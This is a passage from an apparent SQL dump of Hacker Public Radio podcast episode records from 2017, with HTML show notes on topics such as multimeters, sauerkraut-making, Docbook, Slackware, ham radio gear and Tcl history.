href=\"https://www.google.co.uk/imgres?imgurl=http%3A%2F%2Fimages.parkers.bauercdn.com%2Fgallery-image%2Fpagefiles%2F197404%2Fstatic-exterior%2F1752x1168%2F04-ford-focus.jpg&amp;imgrefurl=http%3A%2F%2Fwww.parkers.co.uk%2Fford%2Ffocus%2Fhatchback-2005%2Freview%2Ffeatures-safety-and-equipment%2F&amp;docid=wl8B2faXj127TM&amp;tbnid=mWpm4sZtU6xrSM%3A&amp;vet=10ahUKEwin64L6hM3VAhUsKcAKHZUoCVgQMwiAAigKMAo..i&amp;w=1752&amp;h=1166&amp;client=ubuntu&amp;bih=923&amp;biw=1341&amp;q=ford%20focus&amp;ved=0ahUKEwin64L6hM3VAhUsKcAKHZUoCVgQMwiAAigKMAo&amp;iact=mrc&amp;uact=8\">Ford Focus</a></p></li>\r\n</ul>\r\n',201,0,1,'CC-BY-SA','car,drive,podcast,audio',0,0,1),
(2369,'2017-08-31','Little Meters',1271,'NYbill does a quick review of two more inexpensive multimeters','<p>Listen to more things clicking and beeping!</p>\r\n<p>NYbill does a quick review of two more inexpensive multimeters, ANENG models AN8002 and AN8008.</p>\r\n<p>Bonus noises! I recorded next to an open window on a gusty day. Oops…</p>\r\n<ul>\r\n<li><p>AN8002:<br />\r\n<a href=\"https://www.banggood.com/ANENG-AN8002-Digital-Ture-RMS-Multimeter-ACDC-Current-Voltage-Frequency-Resistance-Temp-Tester-p-1145700.html?rmmds=search\" class=\"uri\">https://www.banggood.com/ANENG-AN8002-Digital-Ture-RMS-Multimeter-ACDC-Current-Voltage-Frequency-Resistance-Temp-Tester-p-1145700.html?rmmds=search</a></p></li>\r\n<li><p>AN8008:<br />\r\n<a href=\"https://www.banggood.com/ANENG-AN8008-True-RMS-Digital-Multimeter-AC-DC-Current-Voltage-Resistance-Frequency-Capacitance-Test-p-1157985.html?rmmds=search\" class=\"uri\">https://www.banggood.com/ANENG-AN8008-True-RMS-Digital-Multimeter-AC-DC-Current-Voltage-Resistance-Frequency-Capacitance-Test-p-1157985.html?rmmds=search</a></p></li>\r\n<li><p>Pics for the episode:<br />\r\n<a href=\"https://media.gunmonkeynet.net/u/nybill/collection/little-meters\" class=\"uri\">https://media.gunmonkeynet.net/u/nybill/collection/little-meters</a></p></li>\r\n</ul>\r\n',235,103,0,'CC-BY-SA','Electronics, Multimeter, Review',0,0,1),
(2372,'2017-09-05','Docbook',3278,'How to Docbook','<p>Forsake markdown now! Klaatu walks you through writing in Docbook, processing and rendering output.</p>',78,0,0,'CC-BY-SA','xml,docbook,writing',0,0,1),
(2373,'2017-09-06','PCGen',2640,'Klaatu talks about a PC generator','<p>Building characters for your next exciting tabletop RPG session? Use PCGen, and here\'s how!</p>',78,95,0,'CC-BY-SA','RPG,character,character generator',0,0,1),
(2374,'2017-09-07','How to Make Sauerkraut',595,'This is a short show on making Sauerkraut','<p>First off I have to admit to being a bit of a foodie and I love Sauerkraut but getting naturally fermented sauerkraut here in the UK in my experience impossible and if you can it tends to be expensive. So I went and had a look on YouTube for some instructions on how to do it, and my first efforts worked well. I’ve just made another batch and took pictures as I was doing it. So this is a how to show on making Sauerkraut.</p>\r\n<p>Just to say that this is about making basic sauerkraut but you can add additional flavours with garlic, other veg and spices. At some point I will try chilli but this week I want the clean taste of a basic sauerkraut.</p>\r\n<p>I use a large white cabbage which you need to strip any outer leaves that are blemished or dirty then quarter and cut out the hard core. Now before shredding weigh the cabbage as you need this to work out how much salt you will add for each Kilo of cabbage and other vegetables, if using. You need 20 grammes of salt, nothing fancy but use one without any any additives, just pure salt, I used a rock salt which cost £1.35 for 350g. You\'re basically after 2% salt to weight of Cabbage and anything else you are fermenting.</p>\r\n<p>It’s also an idea to have about 100mls of a 2% brine to top up if needed to cover the veg in the jar if there is not quite enough liquid made during mashing.</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2374_SK01.jpg\" alt=\"https://hackerpublicradio.org/eps/hpr2374_SK01.jpg\" /></p>\r\n<p>Shred the cabbage and put into a large bowl with the salt, now the fun bit starts. You need to get your hands in and start to crush the salt covered shredded cabbage to start drawing out the moisture, this will take several minutes or longer depending on quantity, but you will feel the texture changing and the liquid starting to be drawn out quite soon after starting. Continue this process until the cabbage seems to have shrunk by about half and there is also a juice in the bottom of the bowl. You can cheat and do this for a few minutes then cover with food wrap and leave for up to an hour and the salt will have done some of the work for you, but you need to give it a good 5 minutes to start before you do this, and you may have to do a little more mashing before transferring to a jar.</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2374_SK02.jpg\" alt=\"https://hackerpublicradio.org/eps/hpr2374_SK02.jpg\" /></p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2374_SK03.jpg\" alt=\"https://hackerpublicradio.org/eps/hpr2374_SK03.jpg\" /></p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2374_SK04.jpg\" alt=\"https://hackerpublicradio.org/eps/hpr2374_SK04.jpg\" /></p>\r\n<p>At this stage find a jar or jars, large enough to hold all the cabbage with a little to spare, you can sterilise if you wish but a good clean in hot soapy water then rinsed and allowed to dry is sufficient as the salt kills and bad bacteria and encourages to good bacteria to grow. Put all your salted and mashed cabbage mix in the jar/jars well packed down with the juice ensuring that the juice is covering the cabbage by about 1cm (this is where the extra saline solution comes in if you don’t quite have enough.</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2374_SK05.jpg\" alt=\"https://hackerpublicradio.org/eps/hpr2374_SK05.jpg\" /></p>\r\n<p>Now put your lid on but not overly tight as this is a fermented product and if there is nowhere for the gas to go then you could have a pressure explosion in your cupboard (some people use wine makers fermenting valves but this is a little overkill and more cost than needed).</p>\r\n<p>Tuck the jar away in a storage place that’s about room temp and leave for several days checking every so often to see how it is. If the brine has evaporated you may need to top up slightly. After about a week you should have sauerkraut, give it a try, if its sour enough this is when you take it and put in the fridge or cold cellar/garage to stop the fermenting. All you have to do now is start eating, oh, and make your next batch ready for when that’s gone.</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2374_SK06.jpg\" alt=\"https://hackerpublicradio.org/eps/hpr2374_SK06.jpg\" /></p>\r\n',338,93,0,'CC-BY-SA','Cooking, Fermenting, Food preserving ',0,0,1),
(2378,'2017-09-13','Why Docbook?',2405,'Klaatu talks about why Docbook is the greatest','<p>What\'s so great about Docbook, any way? Glad you asked.</p>',78,0,0,'CC-BY-SA','xml,docbook,writing',0,0,1),
(2379,'2017-09-14','sending a text message from the command line',295,'a bunch of waffling on about email and text message sending from the command line','<p>Notes? We don\'t need no stinking notes!</p><p>\r\n<small>\r\nEdited 2017-09-08 by Ken <br />\r\nI beg to differ :).</small>\r\n</p>\r\n\r\n<p>\r\nThis show was recorded on <a href=\"https://www.audacityteam.org/\">Audacity</a> using a Logitech headset.\r\n</p>\r\n<p>\r\nIn episode <a href=\"https://hackerpublicradio.org/eps.php?id=1892\">hpr1892 :: my chicken coop</a> <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\">jezra</a> went to great lengths to protect his chickens. His system based on a <a href=\"https://beagleboard.org/black/\">BeagleBone Black</a> ensures the door opens and closes only during the day. \r\n</p>\r\n<p>\r\nIn this show <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\">jezra</a> explains how he gets the system to send him an email, and a text message using <a href=\"https://en.wikipedia.org/wiki/Mailx\">mailx</a> and his phones providers free <a href=\"https://en.wikipedia.org/wiki/SMS_gateway#Email_clients\">SMS to Email gateway</a>.\r\n</p>',243,0,1,'CC-BY-SA','command line, mail, SMS',0,0,1),
(2380,'2017-09-15','Raspbian X86 on P4 Tower',248,'This is a show on installing Pixel on a Pentium 4 Tower PC','<h2 id=\"raspbian-x86-on-an-old-p4-tower\">Raspbian x86 on an old P4 tower</h2>\r\n<p>Well I’m back again, as I said in the show I did about Raspbian x86 on the Lenovo x61s, I was interested to see how the OS would perform on what I now class as very old hardware in the form of a Pentium 4 tower.</p>\r\n<p>We have a spare tower at the Makerspace which gets used to test low resource operating systems to see if they live up to their name, so on Saturday (yesterday as I write this, but a few weeks ago by the time this show goes out) I put the x86 Raspbian image on to this tower to see how it would perform.</p>\r\n<p>Tower specifications are: Pentium 4 2.8Gig CPU, 2Gig DDR Ram and a 40Gig HDD, which in its day was a very useful bit of kit, but technology has moved on and most people wouldn’t consider it any use as a working PC today.</p>\r\n<p>First problem I encountered was the DVD drive was duff and I didn’t have the image on a flash drive. Luckily I did have my trusty USB DVD in the bag, so I hooked that up, booted into the boot menu and set the disc off loading the OS. I won\'t go into this again as I ran through the install process last time, <a href=\"https://hackerpublicradio.org/eps.php?id=2362\">HPR 2362</a>, but the install went well and I was left with a new install of Pixel on the tower.</p>\r\n<p>I went through the new install process and was left with an up to date and password secure PC, I then rebooted to check what the resource use was at first boot, which I was amazed was a consistent 66mb of RAM, and about 1% CPU use.</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2380_P4_01.jpg\" alt=\"https://hackerpublicradio.org/eps/hpr2380_P4_01.jpg\" /></p>\r\n<p>Using the Chromium web browser pushes up RAM usage over a 100 but it was smooth and easily coped with navigating to resource hungry sites such as YouTube and the BBC. So first test passed.</p>\r\n<p>I next opened a Word document in LibreOffice, this took about 10seconds to load but once open was perfectly usable with no lag, so should provide a good office capable PC.</p>\r\n<p>So you can use the Web, Write documents, it has an email client or you can use web mail. And it’s not painfully slow, this PC would now make a very usable homework/first computer for any child, or a computer for an older member of the family that just needs to keep in touch with family and friends without breaking the bank. In fact you could probably pick up a working tower off the likes of Freecycle/Freegle for £0 and you may even get a small 17”/19” TFT monitor from the same place.</p>\r\n<p>Yes it’s not as energy efficient as the latest kit but as I said last time the cost of a new PC/laptop can buy a lot of additional electricity in the time you may run it before it finally expires.</p>',338,57,0,'CC-BY-SA','Linux, Raspbian x86, Pentium4 hardware.',0,0,1),
(2382,'2017-09-19','A Non Spoilery Review of \"git commit murder\" and \"Forever Falls\" by Michael Warren Lucas',555,'I met Mike Lucas at Kansas Linux Fest 2017 and review a couple of his novels','<h2 id=\"a-non-spoilery-review-of-git-commit-murder-and-forever-falls-by-michael-warren-lucas\">A Non Spoilery Review of &quot;git commit murder&quot; and &quot;Forever Falls&quot; by Michael Warren Lucas</h2>\r\n<p>I met Michael at Kansas Linux Fest 2017 where he was a speaker. Turns out we\'ve probably been walking past each other in the halls at Penguicon the last three years that I have attended. Michael is a BSD guy and one of us. As well as being an open source advocate, he works professionally as a systems admin and network engineer. I bought his texts &quot;SSH Mastery&quot; (because I\'ve always needed help getting my head around reverse IP tunneling), &quot;Networking for Systems Administrators&quot;, and &quot;$ git commit murder&quot;, his latest novel. Because I was a good customer, Michael threw in &quot;Forever Falls&quot; for free.</p>\r\n<p>&quot;git commit murder&quot; takes place at a BSD convention. The gathering in the novel is slightly less informal than the Linux conferences I\'ve attended. The conference is targeted at the users, contributors, and managers of the fictional &quot;SkyBSD&quot;. Our protagonist, Detroit native Dale Whitehead has come to Canada to deliver a talk on his mesh networking project. The conference is disrupted when attendees start to die in what appear to be unrelated accidents. Dale is unwilling to accept these deaths as accidents, and puts his analytical mind to discovering the killer. He also employees his hacking skills, having already created an admin account on the host university\'s server within minutes of checking in. This makes him understandably reluctant to discuss his theories with the authorities until he has positively identified a culprit.</p>\r\n<p>The SkyBSD community is not without contention. A significant number of contributors want to move from Subversion to git for version control and just as many are vehemently opposed. Also, the recent release of candid photos meant to embarrass a contributor has many calling for a Code of Conduct and the banning of violators. Others think this is going too far. Dale has to contemplate whether either of these is reason for murder? Perhaps it is a struggle by an old guard who is not ready to surrender leadership to a younger generation?</p>\r\n<p>At first, it was hard to get to like Michael\'s protagonist, Dale Whitehead. Dale suffers from an extreme form of Attention Deficit Disorder which requires medication and causes him to actively shun the company of other people. The same affliction that allows him to get &quot;in the zone&quot; when programming also makes being in crowds a fresh hell for Dale. He is in constant terror that some aberrant behavior on his part will reveal his condition to his companions and he finds it much easier to deal with other humans via e-mail or IRC. It\'s clear Michael Lucas has an understanding of the condition, either via research or contact with someone who suffers ADD.</p>\r\n<p>At least one character in the story seemed to me to bear a passing resemblance to a familiar conference fixture in real life. Michael told me the sequel might be set at an open source/Sci Fi convention in a city near the great lakes. Time will tell if the Tuesday Afternoon Solaris Overview or a kilt wearing organizer will make an appearance.</p>\r\n<p>&quot;Forever Falls&quot; is also a mystery, as well a SciFi story. Ella Forecourt is a recruit right out of college for the Montague Corporation. As a corporate security officer, she is assigned to investigate the death of a Montague research scientist at the Freefall installation. In the course of the novel, you learn that Montague has proprietary technology that allows them to &quot;portal&quot; into other universes or dimensions where the laws of physics are different from those of our universe. In Freefall, gravity runs parallel to the surface of the world. In other words, you don\'t fall down, you fall sideways, and with no ground to stop you, if you fall, you fall forever.</p>\r\n<p>Montague has a research facility built into the &quot;Cliff&quot;. With gravity travelling sideways, the surface of the planet appears as an endless cliff. &quot;Above&quot; the facility is a huge metal awning to deflect falling boulders. On top of the awning is where the security team discovers the body of Dr. Devin Grupper. The damage to the body suggests Dr. Grupper impacted with terminal velocity. Even in the lighter gravity of Freefall constant acceleration means terminal velocity is governed by air resistance. Montague does use airships for transport, but there are no records of how Grupper could have secured transportation and a pilot to wind up smashed on the awning without a ship going missing. Thus Security Second Ella Forecourt is assigned to the case. &quot;Forever Falls&quot; is but one in a series of Montague Portal novels by Michael Lucas. I look forward to reading the rest of the series.</p>\r\n<p><a href=\"https://www.amazon.com/Michael-Warren-Lucas/e/B001JP9NEY\" class=\"uri\">https://www.amazon.com/Michael-Warren-Lucas/e/B001JP9NEY</a></p>',131,0,0,'CC-BY-SA','Kansas Linux Fest, book review',0,0,1),
(2388,'2017-09-27','Apt Spelunking 4: Planet of the Apts',543,'Another couple of interesting packages from the Debian repos','<p>It\'s another exciting episode of Apt Spelunking! The fourth installation, which covers the following packages:</p>\r\n<h2 id=\"dunst---lightweight-notification-daemon\"><a href=\"https://dunst-project.org\">dunst</a> - Lightweight notification daemon</h2>\r\n<p>Dunst is a lightweight, customizeable desktop notification daemon. Similar to Ubuntu\'s notify-osd, it displays passive notifications with very minimal resources. It has customizeable keystrokes, and its colors can be configured as well.</p>\r\n<h2 id=\"i3---lightweight-tiling-window-manager\"><a href=\"https://i3wm.org\">i3</a> - Lightweight tiling window manager</h2>\r\n<p>i3 is my window manager of choice; tiling, extremely customizeable, and absurdly light. With fantastic support for multiple monitors, and vim keybindings, it eventually finds its way onto every machine I use.</p>\r\n<h2 id=\"uqm---ur-quan-masters\"><a href=\"https://sc2.sourceforge.net\">uqm</a> - Ur-Quan Masters</h2>\r\n<p>Derived from Star Control II, Ur-Quan Masters is a fantastic retro game about spaceships and aliens. Earth has been seized, and is isolated from the rest of the galaxy. Luckily, you happen to have yourself a ship built with ancient mystic technology and whatnot.</p>\r\n<p>Fun, funny, and dangerously addictive; make sure to stay away from this game if you have things to do.</p>',196,98,1,'CC-BY-SA','recommendations,software,repositories',0,0,1),
(2383,'2017-09-20','What\'s In My Ham Shack',2244,'I describe the equipment that I have an use in my Amateur Radio station.','<h1 id=\"whats-in-my-ham-shack\">What\'s In My Ham Shack</h1>\r\n<p>In this episode I am starting what I hope will become a series where Amateur Radio operators talk about what equipment they have and use in their Ham Shacks.</p>\r\n<h2 id=\"ham-shack-definition\">Ham Shack Definition</h2>\r\n<p>A good definition of exactly what a Ham Shack is can be found on Wikipedia.</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Radio_shack\" class=\"uri\">https://en.wikipedia.org/wiki/Radio_shack</a></p>\r\n<h2 id=\"categories-of-ham-radio-gear\">Categories of Ham Radio gear</h2>\r\n<p>I tend to divide gear into the following categories.</p>\r\n<ol type=\"1\">\r\n<li>Portable - hand-held devices designed for carrying.</li>\r\n<li>Mobile - equipment that is designed to be used in a vehicle.</li>\r\n<li>Base - gear used in a fixed station environment.</li>\r\n<li>Miscellaneous - other stuff.</li>\r\n</ol>\r\n<h2 id=\"my-ham-shack\">My Ham Shack</h2>\r\n<p>You can google any of these model numbers to see what the hardware looks like and learn more about it.</p>\r\n<h3 id=\"portable-gear\">Portable Gear</h3>\r\n<ul>\r\n<li>Allinco DJ-190 Handy-Talkie</li>\r\n<li>Yeasu VX-6R tri-band Handy-Talkie</li>\r\n</ul>\r\n<h3 id=\"mobile-gear\">Mobile Gear</h3>\r\n<ul>\r\n<li>Yeasu FT-8800 dual-band radio</li>\r\n<li>New Motorolla Mount (NMO) antenna mount</li>\r\n<li>Comet B-10nmo mobile antenna</li>\r\n<li>Comet SBB-5nmo mobile antenna</li>\r\n</ul>\r\n<h3 id=\"base-station-gear\">Base Station Gear</h3>\r\n<ul>\r\n<li>ICOM IC-746 HF+6m+2m radio</li>\r\n<li>Grasshopper II vertical HF antenna</li>\r\n<li>Unknown brand vertical 2-meter/70-cm base station antenna</li>\r\n<li>MFJ-4225MV Switching Power Supply</li>\r\n<li>MFJ-949E Manual Antenna Tuner</li>\r\n<li>LDG Electronics AT-200Pro II Automatic Antenna Tuner</li>\r\n<li>Computer running Xubuntu 16.04</li>\r\n<li>West Mountain RIGblaster Advantage digital interface</li>\r\n</ul>\r\n<h3 id=\"miscellaneous-gear\">Miscellaneous Gear</h3>\r\n<ul>\r\n<li>MFJ-269C Antenna Analyzer</li>\r\n<li>Stereo head-phones and microphone</li>\r\n<li>Push-to-Talk pedal</li>\r\n<li>RTL-SDR Dongle</li>\r\n<li>Collection of various connectors and adaptors</li>\r\n</ul>',334,43,1,'CC-BY-SA','ham radio, amateur radio, radio, shack, equipment',0,0,1),
(2384,'2017-09-21','Slackware in Scotland',3399,'Beni comes to Scotland and talks to Andrew about Slackware 14.2, a year after release.','<p>Beni aka <span class=\"citation\" data-cites=\"Navigium\">@Navigium</span> visited Andrew aka <span class=\"citation\" data-cites=\"mcnalu\">@mcnalu</span> in Scotland as part of a cycling tour and they decided to record a follow up to <a href=\"https://hackerpublicradio.org/eps.php?id=1660\">their previous HPR show on Slackware</a> to mark the release of <a href=\"https://www.slackware.com/\">Slackware</a> 14.2, or rather the first anniversary of its release.</p>\r\n<p>Some points and links mentioned are:</p>\r\n<ul>\r\n<li>Arch is for fruitflies, Slackware for elephants?</li>\r\n<li>Destroying a hard drive hammer or drill?</li>\r\n<li>Grub vs Lilo?</li>\r\n<li>Changes in Slackware - no changes an end user would notice! Pulseaudio now included as needed for bluetooth support. In Andrew\'s experience of 14.1 and before, only one package needed Pulseaudio, namely the game <a href=\"https://store.steampowered.com/app/70300/VVVVVV/\">VVVVVV</a> and even then it just wanted to see it installed, didn\'t need it for sound to work!</li>\r\n<li>You can get gnome for slackware with <a href=\"https://www.droplinegnome.org\">dropline GNOME</a>.</li>\r\n<li>Digression: Trains in Switzerland vs Scotland</li>\r\n<li>Beni and Andrew generally build our packages using the <a href=\"https://slackbuilds.org\">slackbuilds.org</a>. There can be dependency issues but it\'s rare. Worst case is Pandoc with its Haskell deps but <a href=\"https://sbopkg.org\">sbopkg</a> queue files are a great help there. Beni recommends <a href=\"https://pink-mist.github.io/sbotools/\">sbotools</a> as an alternative that deals with this and feels like portsnap on FreeBSD.</li>\r\n<li>Digression: Recommend this HPR show on open-sourcing of <a href=\"https://player.fm/series/hacker-public-radio-62200/hpr2334-our-adventure-begins\">Colossal Cave Adventure by ClaudioM</a>.</li>\r\n<li>Managing WiFi networks: <a href=\"https://wicd.sourceforge.net/\">wicd</a> vs <a href=\"https://en.wikipedia.org/wiki/NetworkManager\">NetworkManager</a> vs rc.inet1 (slackware network config script).</li>\r\n<li>When camping and cycling, power is precious. Beni explains how to pack a bicycle for air travel.</li>\r\n<li>Expect Slackware in Switzerland!</li>\r\n</ul>\r\n<p>The hosts wish to clarify that no Italian Arch linux users nor fruitflies were harmed during the recording of this show.</p>',268,0,0,'CC-BY-SA','linux,slackware,scotland,bicycles',0,0,1),
(2387,'2017-09-26','Free Weights and a Bicycle',1246,'Frank discusses his life-long love for free weights','<p>Frank discusses his long experience with trying not to get fat by using free weights and a bicycle. Free weights are, without question, the geekiest form of exercise, having a versatility and flexibility unmatched by any alternative.</p>\r\n<p>Here are some sample programs:</p>\r\n<ul>\r\n<li>Warm Up adapted from the <a href=\"https://en.wikipedia.org/wiki/5BX\">Royal Canadian Air Force Exercises</a></li>\r\n</ul>\r\n<p>Sample Programs:</p>\r\n<ul>\r\n<li><p>Procedure: 3 sets × 8 reps, increasing to 10 reps, then add five pounds and start over with 8 reps.</p></li>\r\n<li><p>Exercises (<sup>*</sup> = requires bench, <sup>**</sup>= bench desirable):</p>\r\n<ul>\r\n<li><p>Program One: Leg Raises,<sup>*</sup> Leg Curls,<sup>*</sup> Dumbbell Flies,<sup>**</sup> Barbell Curls, Triceps Pull-Overs, Forward and Reverse Wrist Twists (using pipe with rope to raise and lower weights)</p></li>\r\n<li><p>Program Two: Dumbbell Lunge, Bench Press,<sup>*</sup> Bent-Over Rows, Dumbbell Kickbacks, Zottman Curls, Forward and Reverse Wrist Curls</p></li>\r\n<li><p>Program Three: Half Squats, Bench Press, Concentration Curls, Dumbbell Kickbacks, Forward and Reverse Wrist Curls.</p></li>\r\n</ul></li>\r\n</ul>\r\n<p>As stated in the podcast, Frank has not found many weight-training websites appealing. The websites tend to be for fanatic bodybuilders or for pitching products. This one, though, has a pretty good catalog of exercises: <a href=\"https://www.weight-training-exercises.com/\">https://www.weight-training-exercises.com/</a>. Note that the same exercise may be known by several names, depending on the speaker.</p>\r\n<h4 id=\"free-weights\">Free Weights:</h4>\r\n<p><img\r\nsrc=\"https://pineviewfarm.net/weblog/wp-content/uploads/2017/08/weights.jpg\" alt=\"Free Weights\" /></p>\r\n<h4 id=\"a-bicycle\">A bicycle:</h4>\r\n<p><img src=\"https://pineviewfarm.net/graphics/bike.jpg\" alt=\"A bicycle\" /></p>\r\n',195,100,0,'CC-BY-SA','exercise, free weights, physical fitness',0,0,1),
(2389,'2017-09-28','Thoughts on Lifetime Learning',568,'In this episode, I talk about my experiences in learning to be a good learner','<h2 id=\"thoughts-on-lifetime-learning\">Thoughts on Lifetime Learning</h2>\r\n<p>For some of my other thoughts on this topic, consider reading <a href=\"https://www.ryoung.me/lifetime-learning.html\">this blog post</a>.</p>\r\n',300,0,0,'CC-BY-SA','learning, self-improvement',0,0,1),
(2386,'2017-09-25','The Decline and Fall of Tcl',1733,'... in which I\'m reading Where Tcl and Tk went wrong, by David N Welton, posted on 2010-03-30','<p> Tcl is an interesting language that does many things \"wrong\", especially if you\'re coming from a LISP perspective, and especially-especially if you\'re coming from a Scheme perspective. Examples are all over the C2 wiki, but probably <a href=\"https://wiki.c2.com/?DynamicStringsVsFunctional\">DynamicStringsVsFunctional</a> is the epicenter.</p>\r\n<p>It also forms an important part of modern Scheme history, as the <a href=\"https://vanderburg.org/old_pages/Tcl/war/\">Tcl War</a> led to the creation of <a href=\"https://www.gnu.org/software/guile/\">Guile</a>.</p>\r\n<p>What happened after that? <a href=\"https://journal.dedasys.com/2010/03/30/where-tcl-and-tk-went-wrong/\">Where Tcl and Tk went wrong, by David N Welton</a></p>\r\n<p>TL;DL: Tcl was successful because it found its niche as a lightweight yet capable language able to both integrate and be integrated with C code, but it fell behind on Tk look-and-feel compared to GNOME and KDE and also on other mainstream development phenomena, it ossified because it was afraid to upset its installed base, it got stuck between not-slim-enough and not-featureful-enough, the syntax is too weird, and it spiraled into losing touch with the rest of the free software world, which ultimately also affected business use.</p>\r\n<h2 id=\"further-notes\">Further notes</h2>\r\n<ul>\r\n<li>Guile (again) faces several of these same challenges.</li>\r\n<li>Haskell tries to <a href=\"https://www.reddit.com/r/haskell/comments/39qx15/is_this_the_right_way_to_understand_haskells/\">avoid success at all costs</a>, in order to not lose the freedom to improve the language.</li>\r\n<li><a href=\"https://docs.python.org/3/library/tkinter.html\">Python</a> and <a href=\"https://www.perltk.org/\">Perl</a> both have Tk integrations and Python\'s IDLE is even implemented in it. Lua had <a href=\"https://tset.de/ltcltk/index.html\">ltk</a>, but it\'s no longer maintained. There is even a <a href=\"https://www.rdocumentation.org/packages/tcltk/versions/3.4.1\">Tcl/Tk package for R</a>.</li>\r\n<li>Ousterhout <a href=\"https://www.huecker.com/msw/ousterhout.shtml\">pronounces it OH-stir-howt</a>, which may or may not be how I pronounced it. I think the guttural sound may be reserved for the Dutch \"G\" and have nothing to do with \"H\".</li>\r\n</ul>\r\n<h2 id=\"potential-episodes\">Potential episodes</h2>\r\n<ul>\r\n<li>Fossil</li>\r\n<li>Tcl</li>\r\n</ul>\r\n',311,0,0,'CC-BY-SA','tcl, tk, history, languages, community',0,0,1),
(2392,'2017-10-03','Weather, Ogg Camp, Server Room,  ITO collection',466,'A short podcast about various things mostly OggCamp','<p>A short show about the weather in Texas and Germany, Oggcamp 2017 and my Server room. I have been having trouble with my Raspberry Pi collection being too large and new in the box.</p>',129,0,0,'CC-BY-SA','OggCamp',0,0,1),
(2381,'2017-09-18','Benefits of a tabletop',2650,'Klaatu talks about the benefits of analogue gaming','<p>Klaatu talks about the benefits of tabletop gaming over computer gaming.</p>',78,0,0,'CC-BY-SA','game,gaming,rpg',0,0,1),
(2390,'2017-09-29','Still in the game',1449,'Klaatu compares PC and tabletop gaming','<p>In a counterpoint to episode 2381, Klaatu talks about how PC gaming compares to tabletop gaming.</p>',78,95,0,'CC-BY-SA','game,gaming,tabletop,rpg,pc gaming',0,0,1),
(2393,'2017-10-04','PWGen - A password generator',1355,'Xoke talks about how he uses PWGen to set people\'s passwords at work','<ul>\r\n<li>Download PWGen <a href=\"https://pwgen-win.sourceforge.net/downloads.html\">here</a></li>\r\n<li>Download the 5 letter word list <a href=\"https://www-cs-faculty.stanford.edu/~knuth/sgb-words.txt\">here</a></li>\r\n</ul>',79,0,0,'CC-BY-SA','Security, Passwords',0,0,1),
(2417,'2017-11-07','Transmeta Crusoe - Fujitsu-Siemens Futro S210 (ThinClient) - Trouble Shooting and Debian 9 Install',806,'I did a basement clean up and got my old transmeta cpu up and running','<p>I did the long awaited basement clean up project.<br />\r\nlots of old geeky stuff went to the bins and recycle yards :(</p>\r\n<p>The Transmeta company made chips around 2000 and made chip x86 ready though a software layer. Since I love almost anything that is not Intel it was a match made in heaven.</p>\r\n<p>The best info I found about the FSI 210 was at this site:<br />\r\nFujitsu-Siemens Futro S210 (ThinClient)</p>\r\n<p>If you want to do a project at raspberry PI prices just go to Ebay and type Futro - they have a lot of Thin clients with other chips.</p>\r\n<p>About the chip:<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Transmeta_Crusoe\" class=\"uri\">https://en.wikipedia.org/wiki/Transmeta_Crusoe</a></p>',129,0,0,'CC-BY-SA','Transmeta Crusoe,Fujitsu-Siemens Futro S210,thin client',0,0,1),
(2394,'2017-10-05','The Lost Episode',1622,'NYbill talks about building an inexpensive transistor tester... a year after the fact.','<p>NYbill puts up a ‘Lost Episode’ recorded in October, 2016. A comment for Ep. 2369 asking if I have ever built one of the many Transistor Kits available jogged my memory. I still had the recording so, I’ll just throw it up. I’m not sure how many pics I can find for the episode. I’ll put up what I can.</p>\r\n<p>And just for Mike Ray, I’ll leave in some bench noises I would usually edit out. ;)</p>\r\n<p>The soldering vice being used:</p>\r\n<p><a href=\"https://www.amazon.com/Aven-17010-Adjustable-Circuit-Holder/dp/B00Q2TTQEE/ref=sr_1_3?ie=UTF8&amp;qid=1505162033&amp;sr=8-3&amp;keywords=soldering+vise\" class=\"uri\">https://www.amazon.com/Aven-17010-Adjustable-Circuit-Holder/dp/B00Q2TTQEE/ref=sr_1_3?ie=UTF8&amp;qid=1505162033&amp;sr=8-3&amp;keywords=soldering+vise</a></p>\r\n<p>Solder sucker:</p>\r\n<p><a href=\"https://www.amazon.com/Electronix-Express-060820-Solder-Desoldering/dp/B00L2HRW92/ref=sr_1_4?s=industrial&amp;ie=UTF8&amp;qid=1505162388&amp;sr=1-4&amp;keywords=solder+sucker\" class=\"uri\">https://www.amazon.com/Electronix-Express-060820-Solder-Desoldering/dp/B00L2HRW92/ref=sr_1_4?s=industrial&amp;ie=UTF8&amp;qid=1505162388&amp;sr=1-4&amp;keywords=solder+sucker</a></p>\r\n<p>The kit (This looks like the one I ordered. But, it\'s been about a year gone by now. This one shows firmware running on the chip in the pics. You can take a gamble on it if you’d like):</p>\r\n<p><a href=\"https://www.ebay.com/itm/2016-DIY-GM328-Transistor-Tester-LCR-ESR-meter-PWM-Square-wave-Signal-Generator-/272234590655?epid=2013312516&amp;hash=item3f627231bf:g:Y5oAAOSw3mpXLEvU\" class=\"uri\">https://www.ebay.com/itm/2016-DIY-GM328-Transistor-Tester-LCR-ESR-meter-PWM-Square-wave-Signal-Generator-/272234590655?epid=2013312516&amp;hash=item3f627231bf:g:Y5oAAOSw3mpXLEvU</a></p>\r\n<p>Pics for the episode:</p>\r\n<p><a href=\"https://media.gunmonkeynet.net/u/nybill/collection/2016-diy-transistor-kit/\" class=\"uri\">https://media.gunmonkeynet.net/u/nybill/collection/2016-diy-transistor-kit/</a></p>',235,103,0,'CC-BY-SA','Electronics, kits, testers',0,0,1),
